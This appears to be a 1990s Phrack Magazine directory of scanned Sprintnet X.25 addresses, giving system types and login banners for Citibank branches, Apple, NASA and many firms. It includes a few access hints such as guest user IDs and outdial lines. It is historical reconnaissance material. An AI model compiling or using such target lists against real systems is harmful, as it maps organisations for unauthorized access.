219 35 $ MHP201A ZMA0PZ10 * VERSION 6.0.1 *.
219 140 Prime PRIMENET 23.2.0vA CS.FTW
219 150 *
222 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
222 100 Prime
222 140 Prime
222 320 Prime
222 340
223 - Citibank Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
223 1 $ GS/1 CITITRUST/WIN Gateway! (Toll 25 cents)
223 6 PLEASE ENTER TRANSACTION ID:
223 10 Prime
223 11 Prime
223 13 Prime
223 15 Prime
223 17 CDS DATA PROCESSING SUPPORT
223 19 $ HP-3000
223 26 NETWORK USER VALIDATION.
223 31
223 32 enter a for astra
223 34 NETWORK USER VALIDATION.
223 35 VAX/VMS TREASURY PRODUCTS
223 39 Major BBS GALACTICOMM User-ID? new
223 40 Global Report from Citicorp
223 41 VOS (other systems connect from there)
223 42 CITICORP/CITIBANK - 0005,PORT 3
223 46 $ Enter Secure Access ID -02->
223 47 CCMS
223 48A CITIBANK ,PORT 5
223 50 Prime
223 54 CITI CASH MANAGEMENT NETWORK -
223 55 NETWORK USER VALIDATION.
223 57
223 65 VOS
223 68 $ Citimail II
223 70 ELECTRONIC CHECK MANAGER ENTER 'ECM'
223 71 ""
223 74A ""
223 79 VAX/VMS Audit login --- Your session will be recorded.
223 87 VOS CitiShare Milwaukee, Wisconsin
223 91 VAX/VMS Unauthorized Use Is Prohibited
223 92 <<please enter logon>>
223 93 Major BBS? Citibank Customer Delivery Systems (#95298116)
223 94 <<ENTER PASSWORD>>
223 95
223 96 <<ENTER PASSWORD>>
223 103 <<ENTER PASSWORD>>
223 104 $ VAX/VMS
223 106
223 175 enter a for astra
223 176 VAX/VMS
223 178 NETWORK USER VALIDATION.
223 179 $
223 183 Prime
223 184 Prime PRIMENET 23.2.0vB PROD-C
223 185 Citibank Hongkong
223 186 Citibank Hongking
223 187 $ DECserver
223 188 GS/1 CITITRUST/WIN Gateway! (Toll 25 cents)
223 189 $ DECserver
223 191 (need x.citipc terminal emulator)
223 193 Prime
223 194 VAX/VMS
223 199 $
223 200 NETWORK USER VALIDATION.
223 201 C/C/M INT'L 3 ENTER YOUR ID : [ ]
223 202 C/C/M INT'L 4 ENTER YOUR ID : [ ]
223 204 C/C/M INT'L 6 ENTER YOUR ID : [ ]
223 208 C/C/M ENTER YOUR ID : [ ]
223 210 NETWORK USER VALIDATION.
223 211 CITI Master Policy Bulletin Board
223 212 ""
223 216 VAX/VMS *** Unauthorized Access Prohibited ***
223 217
223 218
223 222 Unix SysV Citibank PDC Registration System
223 223 CITIBANK SINGAPORE
223 223 Unix discovery login:
223 227 Prime PRIMENET 23.2.0.R43 BASCOS
223 234 VCP-1000 Terminal Server
223 256 VOS CITIBANK - NSO NEW YORK, NY
223 258 VOS CITIBANK - NSO NEW YORK, NY
223 259 VOS CITIBANK - NSO NEW YORK, NY
223 260 VAX/VMS Unauthorized Use Is Prohibited
223 503 ??? :
223 508
223 510 VOS Citibank Puerto Rico
223 512 VAX/VMS #6 Node: NYF050
223 513 CITI CASH MANAGEMENT NETWORK -
223 515 Prime PRIMENET 23.2.0.R43 BASCOS
223 519 Prime PRIMENET 23.2.0.R43 OBSPOM
223 520 $ CitiMail II
223 521 $ Major BBS User-ID? new
223 523 Prime PRIMENET 23.2.0.R43 LATPRI
223 524 $ GS/1 Cititrust (Cayman)'s WIN Gateway!
223 527 INVALID COMMAND SYNTAX
223 600
223 1000 CITI CASH MANAGEMENT NETWORK
223 1002
223 3002 NETWORK USER VALIDATION.
223 3003 ??? Welcome to Citiswitch, New York
223 3008 ??? ""
223 3011 Unix DG/UX Release 4.32. AViiON (gnccsvr)
223 3012 Unix DG/UX Release 4.32. AViiON (gnccsvr)
223 3020 Prime
223 3030 $ VAX/VMS
223 3031 *
223 3042A CITI Master Policy Bulletin Board
223 3044
223 3046
223 3048 $ DECserver
223 3052 Unix DG/UX Release 4.32. AViiON (parsvr)
223 3056 *
223 3060B TBBS Citicorp Futures Corp.
223 3064 $
223 3066
223 3067 NETWORK USER VALIDATION.
223 3070 *
223 3074 NETWORK USER VALIDATION.
223 3075A Port Selec Systems: EQX/SUP,SECURID,TS,TS1,TS2,TS3,PBX
223 3077
223 3080A PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK.
223 3082
223 3083 ENQUIRE GSM User ID?
223 3086 VOS Citishare
223 3088 HP-3000 SYSTEMC.HP.CITIBANK
223 4700 *
223 8050 ILLEGAL SOURCE ADDRESS 0B 80
223 8052
223 8053 TYPE .
223 8056 ILLEGAL SOURCE ADDRESS 0B 80
223 8057 *
223 8058 ILLEGAL SOURCE ADDRESS 0B 80
223 8059 ILLEGAL SOURCE ADDRESS 0B 80
223 8100 Prime PRIMENET 23.1.0 LATRG1
223 8101 Prime PRIMENET 23.1.0 LATRG2
223 8201
223 8202 Enter password:
223 8602 Prime PRIMENET 23.2.0.R43 OBSPOM
223 8804 11 - FORMAT ERROR
223 10009 I/P LOGIN CODE
223 10010 I/P LOGIN CODE
223 10015 I/P LOGIN CODE
223 10030 UMP 15, TP (DEV A) >
223 10032 UMP 2, XGATE (NODE 6)
223 10050 I/P LOGIN CODE
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 9 of 14
<Sprintnet Directory Part 2>
224 - Citibank Scanneds: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
224 1 CITIBANK
224 2 VAX/VMS Global Report
224 4 Prime PRIMENET 23.2.0vB PROD-A
224 5 DECserver
224 6 CITIBANK CANADA-CB1
224 10 CITIBANK BRASIL
224 11 C/C/M
224 12 Prime PRIMENET 23.2.0vA OZPROD
224 14 C/C/M
224 16 CITIBANK FRANKFURT
224 17 DECserver
224 20 DECserver
224 21
224 22
224 23 CITIBANK N.A. BAHRAIN - BOOK SYSTEM
224 24 NETWORK USER VALIDATION.
224 26
224 27 CITIBANK JOHANNESBURG
224 30 CITIBANK PIRAEUS
224 31 ADAM_COSMOS
224 32 CITIBANK LONDON
224 33 CITIBANK PARIS
224 34 CITIBANK LONDON
224 35 DUBLIN_COSMOS
224 36 CITIBANK ATG - TEST8.2
224 37
224 38 CITIBANK LEWISHAM
224 39 CITIBANK MILAN
224 40
224 41 CITICORP/CITIBANK
224 42 CITICORP/CITIBANK
224 43 VIENNA_COSMOS
224 44 CITIBANK LONDON
224 45 NORDIC_COSMOS
224 46 NORDIC_COSMOS
224 47 Enter Secure Access ID -02->
224 48 Prime CONNECTED TO 03 35-50
224 49 CITIBANK FRANKFURT
224 50 CITICORP/CITIBANK
224 51 CITICORP CASH MANAGEMENT SERVICES
224 53 JERSEY_COSMOS
224 55 SIGN-ON NAO ACEITO
224 56 DECserver
224 57 VAX/VMS
224 61 CITIBANK SYDNEY
224 62 CITIBANK SINGAPORE
224 63 CITIBANK MANILA
224 64 Prime
224 65 CITIBANK SINGAPORE
224 68 DECserver
224 70 London Branch Miniswitch
224 71 CCM - Citi Cash Manager
224 73 DECserver
224 74 CITI CASH MANAGEMENT NETWORK
224 75 IBI MIS Systems
224 76
224 78 CITIBANK HONG KONG
224 79 CITIBANK
224 80 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED
224 81
224 82 Prime PRIMENET 23.2.0vB PROD-C
224 83 IBM 3708
224 85
224 86 Prime PRIMENET 23.1.0 LATRG1
227 87 DECserver
224 89 Prime PRIMENET 23.1.0 LATRG1
224 91 Prime
224 92 VCP-1000 Terminal Server (decserver clone)
224 93
224 95 BMS==>
224 98 C/C/M
224 100 Cityswitch
224 104 BMS==>
224 105
224 108
224 110
224 113 Prime PRIMENET 23.1.0 LATRG2
224 122 VAX/VMS? Global Report from Citicorp
224 125 PLEASE ENTER TRANSACTION ID:
224 128 Prime PRIMENET 23.2.0.R43 LATPRI
224 129
224 130 VAX/VMS GLOBAL TREASURY PRODUCTS
224 132 Prime PRIMENET 23.2.0vB PROD-B
224 135 VAX/VMS CMAPD - SRPC Vax Development System
224 136 VAX/VMS #6Node: NYF050
224 137 HP-3000
224 138
224 139 VAX/VMS (restricted access system)
224 140 VAX/VMS ""
224 141 :
224 142 C/C/M
224 143 CITI CASH MANAGEMENT NETWORK
224 147 C/C/M
224 148 CITIBANK LONDON
224 149 LISBON_COSMOS
224 150 DEC Welcome to the DEC Gateway
224 153 CITI CASH MANAGEMENT NETWORK
224 155 Prime PRIMENET 23.2.0vB PROD-B
224 157 DecServer
224 158
224 159 CDS DATA PROCESSING SUPPORT
224 160 (pad?)
224 161 VAX/VMS
224 162 Prime
224 163 Prime
224 164 Prime PRIMENET 22.1.2 WINMIS
224 165 GS/1 LTN>
224 166 VAX/VMS GLOBAL TREASURY PRODUCTS
224 167 VAX/VMS GLOBAL TREASURY PRODUCTS
224 168 VAX/VMS Global Report from Citicorp
224 170 ELECTRONIC CHECK MANAGER ENTER 'ECM'
224 172 CitiMail II - Asia Pacific
224 174 PERSONNEL SERVICES & TECHNOLOGY'S DATA PABX NETWORK
224 175 Enter T or V for TSO or M for VM/CMS.
224 176 DECserver
224 177 VAX/VMS Unauthorized Use Is Prohibited
224 179 <<please enter logon>>
224 180 Citibank N.A. PUERTO RICO
224 193 :
224 194 VOS CitiShare Milwaukee, Wisconsin
224 195 Citimail II
224 196 Xyplex X.25 Terminal Server
224 197 VAX/VMS
224 199
224 200 EMULEX TCP/LAT-Compatible Terminal Server
224 204
224 205 Prime
224 207 Communications Subsystem For Interconnection
224 210 VOS try "list_users"
224 211 Major-BBS User-ID:
224 212 Master Policy Bulletin Board
224 213 %%%
224 214 INDIQUE O TIPO DE TERMINAL
224 216 VAX/VMS *** Unauthorized Access Prohibited ***
224 217 Prime
224 218 DECserver
224 220 CHANNEL 01/049. ENTER CHOICE:
224 221 BUDAPEST_COSMOS (user 63)
224 222
224 223 CITIBANK SINGAPORE
224 227
224 230
224 234 VCP-1000 (decserver clone)
224 236 CITIBANK LEWISHAM
224 237 DECserver
224 300 $ CitiMail II
224 320 VAX/VMS
224 602 VOS list_users
224 700 $ CitiMail II (Asia Pacific)
224 701 Prime PRIMENET 23.2.0vB DEV-A
224 704 Prime PRIMENET 23.2.0vB PROD-C
224 3004 Enter destination : node.port or :SFA
224 3006 Enter destination : node.port or :SFA
224 3010
224 3013 London Branch Miniswitch
224 3014 CONNECTED TO CITIBANK LONDON
224 3016 BMS==>
224 3024 BMS==>
224 3027 Enter destination : node.port or :SFA
224 3032 CITIBANK LONDON
224 3035 EMULEX TCP/LAT-Compatible Terminal Server
224 3036 EMULEX TCP/LAT-Compatible Terminal Server
224 3037 $ Citimail II - C.M.E.A
224 3038 $
224 3039 $ Citimvs X.25 Gateway
224 3043 VAX/VMS UNAUTHORIZED ACCESS to this SYSTEM is PROHIBITED
224 3047 Enter destination : node.port or :SFA
224 3058 *
224 3059 *
224 3103 CITIBANK PARIS
224 3116 CITICORP/CITIBANK
224 3117 VAX/VMS UNAUTHORIZED ACCESS TO THIS SYSTEM IS PROHIBITED
224 312 3 *
224 3124 CITIBANK MILAN
224 3127 CITIBANK MILAN
224 3128 *
224 3131 CITIBANK FRANKFURT
224 3133 CITIBANK FRANKFURT
224 3230
224 3231
224 3235 CITICORP/CITIBANK
224 3236 CITICORP/CITIBANK
224 4022
224 8006 Welcome to Citiswitch, HK
224 8008 VAX/VMS GTN gateway/Regional Billing/PCSA/CMG accpt
224 8010
224 8011 Unix INFOBASE2 login:
224 8014 Prime
224 8018 *
224 8022 *
224 8023 *
224 8026
224 8027
224 8030
224 8031
224 8033
224 8034
224 8035
224 8105 ENTER RESOURCE :
224 8106 Global Report from Citicorp
224 8122 CITIBANK TOKYO
224 8210
224 8211 CITIBANK MANILA
224 8410 CITIBANK SYDNEY
224 8412 CITIBANK SYDNEY
224 8414 PLEASE ENTER YOUR ID : -1->
224 8415 EMULEX TCP/LAT-Compatible Terminal Server
224 8416 Prime
224 8509 CITIBANK HONGKONG
224 8620
224 8621
224 8622
224 8623
224 8624
224 8625
224 8626
224 8627
224 8629
224 8720 CITIBANK SINGAPORE
224 8722 *
224 8725 $ COSMOS
224 8730 DECserver
224 8731 CITIBANK SINGAPORE
224 9010 Prime
224 9011 VAX/VMS *** Authorized Personnel Only ***
224 9150 CITIBANK HONGKONG
277 - Apple Computer Inc. Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
277 125J VAX/VMS YODA *AUTHORIZED USERS ONLY*
277 127 VAX/VMS Apple Canada Inc.
277 128 VAX/VMS For internal use only. CHATTERBOX
277 130J VAX/VMS YODA *AUTHORIZED USERS ONLY*
277 133 ??? Apple Computer, Inc. X.25 PAD to IP/TCP/TELNET
301 - Maryland Scanned: [0 - 2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
301 20 MEDLINE
301 21 *
301 26 PRIME DNAMD1 Online
301 33 VOS United Communications Computer Services Group
301 35 User Access Verification Username:
301 37 MEDLINE
301 40 MEDLINE
301 56 U#=
301 46 *
301 54 VAX/VMS 5.2
301 56 U#=
301 77 *
301 78 *
301 100 VOS United Communications Computer Services Group
301 125 VAX/VMS
301 140 MEDLINE
301 150 $ VAX/VMS
301 165 *
301 170 VOS United Communications Computer Services Group
301 253 Prime Primecom Network 19.4Q.111 System 35
301 254 Prime Primecom Network 19.4Q.111 System 59
301 307 Prime ER!
301 310 Prime Primecom Network 19.4Q.106 System 51
301 320 Prime Primecom Network 19.4Q.111 System 53
301 330 Prime Primecom Network 19.4Q.111 System 30
301 331 Prime Primecom Network 19.4Q.111 System 31
301 332 Prime Primecom Network 19.4Q.111 System 32
301 333 Prime Primecom Network 19.4Q.111 System 33
301 335 Prime Primecom Network 19.4Q.111 System 35
301 336 VAX/VMS Welcome to VMS 4.6
301 341 Prime Primecom Network 19.4Q.111 System 41
301 342 Prime Primecom Network 19.4Q.111 System 42
301 343 Prime Primecom Network 19.4Q.111 System 43
301 344 Prime Primecom Network 19.4Q.111 System 44
301 345 Prime Primecom Network 19.4Q.111 System 45
301 346 Prime Primecom Network 19.4Q.111 System 46
301 351 Prime Primecom Network 19.4Q.111 System 95
301 352 Prime Primecom Network 19.4Q.111 System 52
301 353 Prime Primecom Network 19.4Q.111 System 53
301 356 Prime Primecom Network 18.4Y System 56
301 357 Prime Primecom Network 19.4Q.111 System 57
301 358 Prime Primecom Network 19.4Q.111 System 58
301 361 Prime Primecom Network 19.4Q.111 System 31
301 364 Prime Primecom Network 19.4Q.111 System 64
301 390 Prime Primecom Network 19.4Q.111 System 90
301 391 Prime Primecom Network 19.4Q.111 System 91
301 392 Prime Primecom Network 19.4Q.111 System 92
301 393 Prime Primecom Network 19.4Q.111 System 93
301 394 Prime Primecom Network 19.4Q.111 System 30
301 395 Prime Primecom Network 19.4Q.111 System 95
301 396 Prime Primecom Network 19.4Q.111 System 96
301 397 Prime Primecom Network 19.4Q.111 System 97
301 398 Prime Primecom Network 19.4Q.111 System 98
301 441 *
301 442 *
301 443 *
301 444 *
301 447 *
301 448 *
301 449 *
301 450 *
301 455 Unix SysV oldabacis login: (uucp)
301 521 $ NETX A000VD03 READY FOR LOGON
301 530 PLEASE ENTER LOGIN
301 535A
301 546 *
301 548
301 558 *
301 559 *
301 560 *
301 563 $ VM/CMS? INVALID-SW-CHARS
301 565 Unix E.T.Net/The National Library of Medicine.
301 1130
301 1131
301 1134 *
301 1136 *
301 1139 8001A69E
301 1142 9769AFC6
301 1153 *
301 1230 You are not authorized to connect to this machine.
301 1241 Fannie Mae
301 1243 USER ID
301 1244 *
301 1245 *
301 1253 *
301 1551 *
301 2040 *
301 2042 *
302 - Delaware Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
302 41 $ (running same/similar software as tymnet)
303 - Colorado Scanned: 0 - 1000
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
303 21 $ outdial (303)
303 33 Password >
303 47 *
303 114 $ outdial (303)
303 115 $ outdial (303)
303 120 Prime PRIMENET 22.1.3.R35 SAMSON
303 140 X29 Password:
303 141 *
303 142 *
303 242 $ VAX/VMS AZTEK Engineering MicroVAX (AZTKD1)
303 268 *
303 330 *
303 333 *
303 338 *
303 561 Prime PRIMENET 22.1.1.R11 SPARKY
303 579 Prime PRIMENET 22.1.3.R35 CAESAR
303 800 *
304 - West Virginia Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
304 101 ENTER: ASV2, ASV3 OR MPL780
304 130 ENTER: ASV2, ASV3 OR MPL780
305 - Florida Scanned: 0 - 2000
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
305 4 USER ID
305 34 USER ID
305 59 .INVALID COMMAND
305 105 $ outdial (305)
305 106 $ outdial (305)
305 120 $ outdial (305)
305 121 $ outdial (305)
305 122 $ outdial (305)
305 135 *
305 140 .INVALID COMMAND
305 141 Select Desired System:
305 142 USER ID
305 145 USER ID
305 149 hp-x000 S901.NET.BUC
305 150 *
305 156 USER ID
305 162 WN01000000000000000000000000000
305 170 *
305 171 VM/CMS? ENTER SWITCH CHARACTERS
305 172 WN01000000000000000000000000000
305 175 USER ID
305 177 WN01000000000000000000000000000
305 178 hp-x000 S901.NET.BUC
305 237 Comcast Information Services
305 241 WN01000000000000000000000000000
305 245 *
305 247
305 250 Unix
305 339 CONNECTED TO PACKET/74
305 347 CONNECTED TO PACKET/74
305 362 CLARIONET Userid : new
305 363 CLARIONET
305 364 CLARIONET
305 365 CLARIONET
305 366 CLARIONET
305 370 $
305 371 VAX/VMS Usuario :
305 372 $ VAX/VMS ORL001
305 471
305 472 $ HP-3000 MIA.MIA.EI
305 700
305 1036 CONNECTED TO PACKET/74
305 1037 CONNECTED TO PACKET/74
305 1043 Unix
305 1040 USER ID
305 1242 AOS
305 1243 *
305 1244 Prime PRIMENET 22.1.3 DZ-MIA
309 - Illinois Scanned: [0 - 200]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
309 30 *
312 - Illinois Scanned: [0 - 1500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
312 34 YOUR ENTRY IS INCORRECT.
312 35 $ TSO
312 37 *
312 40
312 41 YOUR ENTRY IS INCORRECT.
312 45 YOUR ENTRY IS INCORRECT.
312 53 TSO COMMAND UNRECOGNIZED
312 54 TSO
312 59 Id Please:
312 64 $ Purdue Annex (*.cc.purdue.edu)
312 65 $ MSG 1: COMMAND INVALID FROM PHTIB010
312 74 *
312 75 *
312 77 $ USER ID
312 78 $ USER ID
312 121 enter system id --
312 125 *
312 131 VM/CMS SYSTEMV
312 150 PLEASE ENTER SUBSCRIBERID;PASSWORD
312 159 PLEASE ENTER SUBSCRIBERID;PASSWORD
312 160 USERID:
312 170 $ VAX/VMS This is SKMIC4 - Authorized use only
312 233 USERID:
312 235
312 240 *
312 245 *
312 253 *
312 254 *
312 256 PLEASE LOGIN
312 257 *
312 258 ID:
312 269 CUSTOMER ID:
312 270 CUSTOMER ID:
312 271 CUSTOMER ID:
312 350 *
312 351 TSO
312 354 *
312 378 BAXTER ASAP SYSTEM (LINE EG75)
312 379 TSO
312 398 $ MHP201A ITVI0180 * VERSION 6.0.2 *.
312 400 BAXTER ASAP SYSTEM (LINE EGC7)
312 401 BAXTER ASAP SYSTEM (LINE EG4D)
312 402 BAXTER ASAP SYSTEM (LINE EGC5)
312 403 TSO
312 405 TSO
312 410 $ outdial (312)
312 411 $ outdial (312)
312 451 TSO
312 452 BAXTER ASAP SYSTEM (LINE EGED)
312 475 *
312 476 *
312 477 $ USER ID
312 520 Unix R59X01 login:
312 521 Unix R58X01 login:
312 522 Unix R67X01 login:
312 524 Unix R51X01 login:
312 525 Unix R41X01 login:
312 526 PASSWORD
312 528 PASSWORD
312 530 *
312 531 *
312 532 $ VAX/VMS
312 533 *
312 534 $ (echo)
312 535 $ (echo)
312 536 $ (echo)
312 537 $ (echo)
312 538 $ (echo)
312 585 *
312 587 *
312 588 *
312 589 *
312 655 TSO
312 740 TELENET ASYNC TO 3270 SERVICE
312 762 *
312 763 *
312 764 *
312 765 *
312 766 *
312 767 *
312 768 *
312 769 *
312 770 $ TELENET ASYNC TO 3270 SERVICE
312 772 $ TELENET ASYNC TO 3270 SERVICE AB-NET
312 1130 Unix R52X01 login:
312 1131 Unix R61X01 login:
312 1132 Unix R63X01 login:
312 1133 Unix R40X01 login:
312 1134 Unix R43X01 login:
312 1135 Unix R46X01 login:
312 1139 Unix R65X01 login:
312 1140 Unix R54X01 login:
312 1141 Unix R71X01 login:
312 1142 Unix R56X01 login:
312 1143 Unix R55X01 login:
312 1144 Unix R48X01 login:
312 1150 Unix R47X01 login:
312 1151 Unix R62X01 login:
312 1152 Unix R45X01 login:
312 1153 Unix R42X01 login:
312 1154 Unix R74X01 login:
312 1155 Unix R60X01 login:
312 1177 *
312 1179 *
312 1232 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS
312 1233 REQUEST IN VIOLATION OF SYSTEM SECURITY STANDARDS
312 1250 YOUR ENTRY IS INCORRECT.
312 1251 YOUR ENTRY IS INCORRECT.
312 1258 Prime PRIMENET 23.2.0.r26 HS6650
312 1259 ENTER ID (Westlaw)
312 1270 *
312 1271 *
312 1272 *
312 1275 *
312 1301 MHP201A A00B1001 * VERSION 5.5.3 *.
312 1302 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1303 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1304 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1305 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1306 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1307 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1308 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1309 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1310 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1311 MHP201A A00B1101 * VERSION 5.5.3 *.
312 1340 *
312 1341 ENTER ID (Westlaw)
312 1534 *
312 1535 *
313 - Michigan Scanned: [0 - 2000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
313 24 $ outdial (313)
313 40 Autonet Line 3130095084
313 41 Autonet Line 3130095084
313 62 Merit:X.25 Gateway
313 75 *
313 82 Enter "CMS userid", "TSO userid ", "SIMVTAM termid"
312 219 enter system id --
313 101 $ outdial (313)
313 111 $ outdial (313)
313 140 $ USER ID
313 144 $ DTC DTCHQ02.WD.WD
313 145 Please enter your Access Code ?
313 146 Please enter your Access Code ?
313 148 PLEASE ENTER SUBSCRIBERID;PASSWORD
313 152 Unix/SunOS SPRINT.COM SunLink X.29 service
313 153 MHP1201I TERMINAL CONNECTED TO PACKET/74
313 160 PASSWORD (this will hang you up)
313 164 VU/TEXT
313 165 *
313 171 U#=
313 173 VAX/VMS IPP VAX/VMS V5.4-3 SYSTEM VIP012
313 202 Merit:X.25 Gateway
313 214 $ outdial (313)
313 216 $ outdial (313)
313 239 Unix Valenite
313 250 HP-3000
313 330 $ Unix Domino's Pizza Distribution Corp
313 350 *
313 351 *
313 352 *
313 353 *
313 354 *
313 355 *
313 365 Unix/SunOS This is our latest and greatest X.29 service
313 705 OS4000 5.5 Logging in user
313 800 Prime PRIMENET 22.1.4.R39v D1D2
313 1020 USER ID
313 1021 USER ID
313 1032 *
313 1162 Unix R44X01 login:
313 1163 Unix R69X01 login:
313 1164 Unix R50X01 login:
313 1165 Unix R57X01 login:
313 1166 Unix R64X01 login:
313 1167 Unix R66X01 login:
313 1169 Unix R70X01 login:
313 1170 Unix R73X01 login:
313 1171 Unix R75X01 login:
313 1172 Unix R72X01 login:
313 1174 Unix R77X01 login:
313 1175 Unix/SysV (jupiter)
313 1176 Unix aries login:
313 1177 Unix hermes login:
314 - Missouri Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
314 139 *
314 143 $ ??? Please log in (or type "/DOC/DEMO").
314 260
315 - New York Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
315 20 (echo)
315 32 $ COMMAND UNRECOGNIZED
315 50 $ SIM3278
315 135 (echo)
315 136 (echo)
315 137 $ GTE CAMILLUS NY
315 138 CONNECTED TO PACKET/94
315 145 VAX/VMS Username:
315 149 $ GTE CAMILLUS NY
315 150 GTE CAMILLUS NY
315 151 GTE CAMILLUS NY
315 152 (echo)
315 162 CONNECTED TO PACKET/400
315 172 *
315 231
317 - Indiana Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
317 55 $ outdial (317)
317 113 $ outdial (317)
317 114 $ outdial (317)
317 127 VTAM/M02
317 134 $ Prime PRIMENET 22.0.4.R8 PENTEK
317 136 *
317 140 VAX/VMS
317 142 *
317 143 $ (hangs up)
317 145 Prime PRIMENET 22.1.3 ARVN01
317 148 USER ID
317 154 VAX/VMS
317 157 *
317 159 *
317 164 $ (hangs up)
317 174
317 235 $ CONNECTED TO PACKET/74
317 251 CONNECTED TO PACKET/400
317 253 *
317 255
317 260 Unix SIL_CHI
317 299 ASYNC to whatever -- (try logical unit=9)
317 335 VAX/VMS
317 336 *
321 - SPAN/NASA Scanned: [N/A]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
321 Note: Access to SPAN now passes through a network
validation gateway. I was unable to get passed
this, and unable to scan this prefix.
Here is the friendly message you get on attempts:
Entering the NASA Packet Switching System (NPSS)
Please Report Service Access Problems To (205) 544-1771
<insert large warning banner>
USERID>
PASSWORD>
SERVICE>
401 - Rhode Island Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
401 50 *
401 230 *
402 - Nebraska Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
402 47
402 57 Unix NCR 386/486 System name: tower12
402 131 *
402 231 *
404 - Georgia Scanned: [0-700]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
404 55 *
404 57
404 59
404 70
404 77
404 79
404 143
404 171
404 235.1 Port Selec The Journal Of Commerce
404 235.2 VAX/VMS Nedlloyd Lines Region Management North America
404 244
404 247
404 250.1 CUSTOMER ID:
404 250.2 (garbage)
404 251.1 CUSTOMER ID:
404 252.1 CUSTOMER ID:
404 262.2 TACL 1>
404 263.2 TACL 1>
404 264.2 TACL 1>
404 265.2 TACL 1>
404 266.2 TACL 1>
404 349 Prime PRIMENET 22.1.3 EHPATL
404 358
404 359
404 372 VOS
404 373 VOS
404 374 *
404 560 VAX/VMS
404 633 VAX/VMS
404 635 VAX/VMS
405 - Oklahoma Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
405 45 ENTER SESSION ESTABLISHMENT REQUEST :
405 46 TACL 1>
405 130 *
405 242 VAX/VMS
405 245 *
405 246
405 248 *
405 249 *
408 - California Scanned: [0 - 1500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
408 21 $ outdial (408)
408 31 *
408 45 $ HP-3000 SPECTRA-PHYSICS LASERS
408 49 *
408 61
408 77 $ USER ID
408 110 $ outdial (408)
408 111 $ outdial (408)
408 121 HP-3000 SAGAN.HP.COM
408 127 Unix
408 133 $ (echo)
408 159 $ VAX/VMS
408 177 *
408 235 AOS GLOBAL WEATHER MV3
408 238 Unix
408 260 *
408 261 *
408 264 Portal Communications Company. NEW/INFO/HELP
408 267 *
408 268 *
408 271
408 273
408 335 VAX/VMS CONNECTING TO NODE: LTCTST
408 342 $ Unix/SunOS (OSI)
408 343 $ VTAM Amdahl Corporate Computer Network
408 344 $ VAX/VMS ANDO running VMS V5.4-2
408 346 Unix IGC Networks login:new password:<cr>
408 352 $ VTAM Amdahl Corporate Computer Network
408 356 *
408 357 *
408 378 Unix X.25 PAD (pad echo)
408 450 Unix HP-UX moe
408 444 $ HP-3000 Finnigan Corporation
408 445 $ VAX/VMS GEC PLESSEY Semiconductors
408 449 VAX/VMS Friden Neopost (Node: PRDSYS)
408 450 Unix HP-UX moe
408 456 *
408 530 *
408 531 *
408 532 *
408 534 $ DTC DTC02.DOMAIN.ORGANIZATION
408 539 User Access Verification Password:
408 1050
408 1046 *
408 1050
408 1051
408 1052
408 1053
408 1054 Port Selec First Image
408 1055
408 1060 $ REQUESTED APPLICATION NOT DEFINED
408 1061 $ REQUESTED APPLICATION NOT DEFINED
408 1062 $ REQUESTED APPLICATION NOT DEFINED
408 1063 $ REQUESTED APPLICATION NOT DEFINED
408 1064 $ REQUESTED APPLICATION NOT DEFINED
